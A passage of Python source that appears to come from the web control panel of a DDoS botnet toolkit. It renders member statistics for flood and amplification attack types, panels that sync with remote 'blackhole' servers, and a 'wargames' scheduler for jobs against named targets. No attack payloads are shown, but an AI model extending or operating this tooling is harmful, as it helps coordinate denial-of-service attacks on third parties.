grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
1105
grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
1106
grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
1107
grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
1108
grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
1109
grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
1110
grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
1111
try:
1112
grid_contact = "<a href=javascript:alert('"+str(m[14][0:12])+"');>View</a>" # js contact view (obfuscation)
1113
except:
1114
grid_contact= "invalid"
1115
try:
1116
grid_id = m[15] # id (plain id)
1117
except:
1118
grid_id = "invalid!"
1119
elif version == 12: # v1.1
1120
grid_loris = m[9][0:4] # loris
1121
grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
1122
grid_ufosyn = m[10][0:4] # ufosyn
1123
grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
1124
grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
1125
grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
1126
grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
1127
grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
1128
grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
1129
grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
1130
grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
1131
grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
1132
grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
1133
grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
1134
grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
1135
grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
1136
grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
1137
grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
1138
grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
1139
grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
1140
grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
1141
grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
1142
grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
1143
grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
1144
grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
1145
grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
1146
grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
1147
grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
1148
grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
1149
grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
1150
grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
1151
grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
1152
grid_contact = "<a href=javascript:alert('"+str(m[11][0:12])+"');>View</a>" # js contact view (obfuscation)
1153
try:
1154
grid_id = m[12] # id (plain id)
1155
except:
1156
grid_id = "invalid!"
1157
elif version == 11: # v1.0
1158
grid_loris = m[9][0:4] # loris
1159
grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
1160
grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
1161
grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
1162
grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
1163
grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
1164
grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
1165
grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
1166
grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
1167
grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
1168
grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
1169
grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
1170
grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
1171
grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
1172
grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
1173
grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
1174
grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
1175
grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
1176
grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
1177
grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
1178
grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
1179
grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
1180
grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
1181
grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
1182
grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
1183
grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
1184
grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
1185
grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
1186
grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
1187
grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
1188
grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
1189
grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
1190
grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
1191
try:
1192
grid_id = m[11] # id (plain id)
1193
except:
1194
grid_id = "invalid!"
1195
elif version == 10: # v0.9
1196
grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present
1197
grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
1198
grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
1199
grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
1200
grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
1201
grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
1202
grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
1203
grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
1204
grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
1205
grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
1206
grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
1207
grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
1208
grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
1209
grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
1210
grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
1211
grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
1212
grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
1213
grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
1214
grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
1215
grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
1216
grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
1217
grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
1218
grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
1219
grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
1220
grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
1221
grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
1222
grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
1223
grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
1224
grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
1225
grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
1226
grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
1227
grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
1228
grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
1229
try:
1230
grid_id = m[10] # id (plain id)
1231
except:
1232
grid_id = "invalid!"
1233
else: # no valid version
1234
pass
1235
grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_fraggle)+"</td><td align='center'>"+str(grid_sniper)+"</td><td align='center'>"+str(grid_ufoack)+"</td><td align='center'>"+str(grid_uforst)+"</td><td align='center'>"+str(grid_droper)+"</td><td align='center'>"+str(grid_overlap)+"</td><td align='center'>"+str(grid_pinger)+"</td><td align='center'>"+str(grid_ufoudp)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
1236
else: # not valid stream data
1237
pass
1238
grid_table += "</table>"
1239
if mothership_members == 0:
1240
mothership_members = "Âż?"
1241
if unknown_members == 0:
1242
unknown_members = "Âż?"
1243
l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
1244
mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td><font color='orange'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td><font color='white'>Âż?</font></td><td><font color='cyan' size='4'>**</font></td><td><font color='cyan'>Âż?</font></td><td><font color='blueviolet' size='4'>***</font></td><td><font color='blueviolet'>Âż?</font></td><td><font color='blue' size='4'>****</font></td><td><font color='blue'>Âż?</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td><font color='red'>Âż?</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><tr><td>MISSIONS:</td><td>Âż?</td><td>ATTACKS:</td><td>Âż?</td><td>CHARGO (ACTIVE!):</td><td>Âż?</td><td>DORKING:</td><td>Âż?</td><td>TRANSF:</td><td>Âż?</td><td>MAX.CHARGO:</td><td>Âż?</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td>LOIC:</td><td>Âż?</td><td>LORIS:</td><td>Âż?</td><td>UFOSYN:</td><td>Âż?</td><td>SPRAY:</td><td>Âż?</td><td>SMURF:</td><td>Âż?</td></tr><tr><td>XMAS:</td><td>Âż?</td><td>NUKE:</td><td>Âż?</td><td>TACHYON:</td><td>Âż?</td><td>MONLIST:</td><td>Âż?</td></tr><tr><td>FRAGGLE:</td><td>Âż?</td><td>SNIPER:</td><td>Âż?</td><td>UFOACK:</td><td>Âż?</td><td>UFORST:</td><td>Âż?</td></tr><tr><td>DROPER:</td><td>Âż?</td><td>OVERLAP:</td><td>Âż?</td><td>PINGER:</td><td>Âż?</td><td>UFOUDP:</td><td>Âż?</td></tr></table><br><hr><br>"
1245
grid_table = mother_grid + grid_table + "</div>"
1246
return grid_table
1247
1248
def html_grid(self):
1249
if self.ranking == "Rookie": # Rookie
1250
your_ranking = "<font color='white'>Rookie [*]</font>"
1251
elif self.ranking == "Mercenary": # Mercenary
1252
your_ranking = "<font color='cyan'>Mercenary [**]</font>"
1253
elif self.ranking == "Bandit": # Bandit
1254
your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
1255
elif self.ranking == "UFOmmander!": # UFOmmander!
1256
your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
1257
elif self.ranking == "UFOl33t!": # UFOl33t!
1258
your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
1259
else:
1260
your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
1261
if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
1262
device_state = "OFF"
1263
device = "GRID device: <font color='red'>OFF</font><br>"
1264
else:
1265
device_state = "ON"
1266
gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
1267
data = json.load(gridcfg_json_file)
1268
gridcfg_json_file.close()
1269
grid_token = data["grid_token"]
1270
grid_contact = data["grid_contact"]
1271
grid_contact.encode('utf-8')
1272
grid_nick = data["grid_nick"]
1273
grid_nick.encode('utf-8')
1274
device = "<table cellpadding='5'><tr><td> -CONTACT: "+str(grid_contact)+"</td></tr><tr><td> -NICKNAME: "+str(grid_nick)+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
1275
if device_state == "OFF":
1276
grid_panel = ""
1277
else:
1278
grid_table = self.generate_grid()
1279
grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
1280
if device_state == "OFF":
1281
dec_panel = ""
1282
else:
1283
dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_grid();>Try decryption!</a></form></td></tr></table>"
1284
if device_state == "OFF":
1285
sync_panel = ""
1286
else:
1287
sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
1288
if device_state == "OFF":
1289
transfer_panel = ""
1290
else:
1291
transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
1292
if device_state == "OFF":
1293
remove_grid = ""
1294
else:
1295
remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
1296
return self.pages["/header"] + """<script language="javascript">
1297
function GridProfile() {
1298
var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1299
}
1300
function RemoveGrid() {
1301
var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1302
}
1303
function Stats() {
1304
var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
1305
}
1306
function Sync_panel(){
1307
document.getElementById("sync_panel_block").style.display = "block";
1308
document.getElementById("dec_panel").style.display = "none";
1309
document.getElementById("transfer_panel").style.display = "none";
1310
}
1311
function SyncGrid(){
1312
grid_source=document.getElementById("grid_source").value
1313
if(grid_source == "") {
1314
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
1315
return
1316
}else{
1317
params="grid_source="+escape(grid_source)
1318
runCommandX("cmd_sync_grid",params)
1319
setTimeout("location.reload()", 10000)
1320
}
1321
}
1322
function Transfer_panel(){
1323
document.getElementById("transfer_panel").style.display = "block";
1324
document.getElementById("sync_panel_block").style.display = "none";
1325
document.getElementById("dec_panel").style.display = "none";
1326
}
1327
function TransferGrid() {
1328
grid_source=document.getElementById("grid_source_upload").value
1329
grid_key=document.getElementById("grid_key_upload").value
1330
if(grid_source == "") {
1331
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
1332
return
1333
}else{
1334
if(grid_key == "") {
1335
window.alert("You need to enter a valid key (provided by someone)");
1336
return
1337
}else{
1338
params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
1339
runCommandX("cmd_transfer_grid",params)
1340
setTimeout("location.reload()", 10000)
1341
}
1342
}
1343
}
1344
function Decryption_panel(){
1345
document.getElementById("dec_panel").style.display = "block";
1346
document.getElementById("transfer_panel").style.display = "none";
1347
document.getElementById("sync_panel_block").style.display = "none";
1348
}
1349
function Decrypt_grid(){
1350
grid_key=document.getElementById("grid_key").value
1351
if(grid_key == "") {
1352
window.alert("You need to enter a valid key (provided by someone)");
1353
return
1354
}else{
1355
params="grid_key="+escape(grid_key)
1356
runCommandX("cmd_decrypt_grid",params)
1357
panel_enc = document.getElementById("grid_panel_enc").style.display
1358
if(panel_enc == "block"){
1359
panel_enc = document.getElementById("grid_panel_enc").style.display = 'none';
1360
}
1361
}
1362
}
1363
function GridFilter(filter, key){
1364
params="filter="+escape(filter)+"&key="+escape(key)
1365
runCommandX("cmd_grid_filter", params)
1366
setTimeout("Decrypt_grid()", 2000)
1367
}
1368
</script>
1369
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
1370
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
1371
<br><center>
1372
<table cellpadding="5" cellspacing="5"><tr>
1373
<td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Crypto-Grid!. A good place to represent our Federation.');"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>
1374
<table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
1375
<hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
1376
""" + self.pages["/footer"]
1377
1378
def generate_wargames(self):
1379
with open(self.wargames_file) as f:
1380
for line in f:
1381
line = line.strip()
1382
f.close()
1383
wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>DATE:</u></td><td align='center'><u>ETA:</u></td><td align='center'><u>STATUS:</u></td></tr>"
1384
for m in self.list_wargames: # list = creation, target, estimated
1385
if wargames_msg_sep in m:
1386
m = m.split(wargames_msg_sep)
1387
wargame_creation = m[0][0:12] # creation date
1388
wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
1389
wargame_target = m[1][0:12] # target (obfuscation)
1390
wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
1391
wargame_estimated = m[2][0:12] # estimated date
1392
wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
1393
wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
1394
wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
1395
wargame_status = wargame_state # status (obfuscated like state)
1396
wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td><td align='center'>"+str(wargame_state)+"</td><td align='center'>"+str(wargame_status)+"</td></tr>"
1397
wargames_table += "</table>"
1398
mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
1399
wargames_table = mother_wargame + wargames_table + "</div>"
1400
return wargames_table
1401
1402
def html_wargames(self):
1403
l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
1404
now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
1405
wargames_table = self.generate_wargames()
1406
return self.pages["/header"] + """<script language="javascript">
1407
function Decrypt_wargames(){
1408
wargames_deckey=document.getElementById("wargames_deckey").value
1409
if(wargames_deckey == "") {
1410
window.alert("You need to enter a valid key (provided by someone)");
1411
return
1412
}else{
1413
params="wargames_deckey="+escape(wargames_deckey)
1414
runCommandX("cmd_decrypt_wargames",params)
1415
panel_enc = document.getElementById("wargames_panel_enc").style.display
1416
if(panel_enc == "block"){
1417
panel_enc = document.getElementById("wargames_panel_enc").style.display = 'none';
1418
}
1419
}
1420
}
1421
function SyncWargames(){
1422
wargames_source=document.getElementById("wargames_source").value
1423
if(wargames_source == "") {
1424
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
1425
return
1426
}else{
1427
params="wargames_source="+escape(wargames_source)
1428
runCommandX("cmd_sync_wargames",params)
1429
setTimeout("location.reload()", 10000)
1430
}
1431
}
1432
function Send() {
1433
wargames_source2=document.getElementById("wargames_source2").value
1434
wargames_enckey=document.getElementById("wargames_enckey").value
1435
wargames_target=document.getElementById("wargames_target").value
1436
wargames_estimated=document.getElementById("wargames_estimated").value
1437
if(wargames_source2 == "") {
1438
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
1439
return
1440
}else{
1441
if(wargames_enckey == "") {
1442
window.alert("You need to enter a valid key (provided by someone)");
1443
return
1444
}else{
1445
params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
1446
runCommandX("cmd_transfer_wargame",params)
1447
setTimeout("location.reload()", 10000)
1448
}
1449
}
1450
}
1451
function JobRemove(id) {
1452
params="id="+escape(id)
1453
runCommandX("cmd_job_remove",params)
1454
setTimeout("Decrypt_wargames()", 2000)
1455
}
1456
function JobAdd(id) {
1457
params="id="+escape(id)
1458
runCommandX("cmd_job_add", params)
1459
setTimeout("Decrypt_wargames()", 2000)
1460
}
1461
function JobAddAll() {
1462
runCommandX("cmd_job_add_all")
1463
setTimeout("Decrypt_wargames()", 2000)
1464
}
1465
function JobCancel(id) {
1466
params="id="+escape(id)
1467
runCommandX("cmd_job_cancel", params)
1468
setTimeout("Decrypt_wargames()", 2000)
1469
}
1470
function JobRemoveAll(key) {
1471
params="key="+escape(key)
1472
runCommandX("cmd_job_remove_all", params)
1473
setTimeout("Decrypt_wargames()", 2000)
1474
}
1475
function JobCancelAll() {
1476
runCommandX("cmd_job_cancel_all")
1477
setTimeout("Decrypt_wargames()", 2000)
1478
}
1479
function JobFilter(filter, key) {
1480
params="filter="+escape(filter)+"&key="+escape(key)
1481
runCommandX("cmd_job_filter", params)
1482
setTimeout("Decrypt_wargames()", 2000)
1483
}
1484
function EditSupply(){
1485
if(document.getElementById("supply_edit").value == "EDIT"){
1486
document.getElementById("supply_botnet").readOnly = false;
1487
document.getElementById("supply_loic").readOnly = false;
1488
document.getElementById("supply_loris").readOnly = false;
1489
document.getElementById("supply_ufosyn").readOnly = false;
1490
document.getElementById("supply_spray").readOnly = false;
1491
document.getElementById("supply_smurf").readOnly = false;
1492
document.getElementById("supply_xmas").readOnly = false;
1493
document.getElementById("supply_nuke").readOnly = false;
1494
document.getElementById("supply_tachyon").readOnly = false;
1495
